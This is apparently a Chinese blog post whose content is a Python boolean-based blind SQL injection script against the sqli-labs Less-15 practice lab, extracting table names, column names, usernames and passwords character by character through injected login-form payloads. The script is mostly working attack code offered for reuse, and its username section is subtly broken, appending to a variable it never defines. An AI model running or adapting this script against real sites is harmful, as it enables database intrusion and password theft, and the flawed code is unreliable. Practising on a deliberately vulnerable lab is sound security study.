Bool盲注脚本

最新推荐文章于 2025-03-12 21:36:14 发布

原创最新推荐文章于 2025-03-12 21:36:14 发布 · 755 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#数据库 #web安全 #安全

笔记专栏收录该内容

45 篇文章

订阅专栏

import requests

chars = "qwertyuiopasdfghjklzxcvbnm0123456789}{"
url = "http://localhost/sqli-labs-kali2-master/Less-15/"

for x in range(0, 10):
    table_name = ""
    for y in range(1, 20):
        for char in chars:
            payload = {
                "uname": "-1' or mid((select table_name from information_schema.tables where table_schema=database() limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
                "passwd": "",
                "submit": "Submit"
            }
            r = requests.post(url=url, data=payload)
            # print(len(r.text))
            if len(r.text) == 1492:
                table_name += char
    if bool(table_name):
        print(table_name)

# 获取字段名
for x in range(0, 10):
    column_name = ""
    for y in range(1, 20):
        for char in chars:
            payload = {
                "uname": "-1' or mid((select column_name from information_schema.columns where table_name='users' limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
                "passwd": "",
                "submit": "Submit"
            }
            r = requests.post(url=url, data=payload)
            # print(len(r.text))
            if len(r.text) == 1492:
                column_name += char
    if bool(column_name):
        print(column_name)

# 获取用户名
for x in range(0, 10):
    password_value = ""
    for y in range(1, 50):
        for char in chars:
            payload = {
                "uname": "-1' or mid((select username from users limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
                "passwd": "",
                "submit": "Submit"
            }
            r = requests.post(url=url, data=payload)
            # print(len(r.text))
            if len(r.text) == 1492:
                username_value += char
    if bool(username_value):
        print(username_value)
# 获取密码
for x in range(0, 10):
    password_value = ""
    for y in range(1, 50):
        for char in chars:
            payload = {
                "uname": "-1' or mid((select password from users limit "+str(x)+",1),"+str(y)+",1)='"+char+"'#",
                "passwd": "",
                "submit": "Submit"
            }
            r = requests.post(url=url, data=payload)
            # print(len(r.text))
            if len(r.text) == 1492:
                password_value += char
    if bool(password_value):
        print(password_value)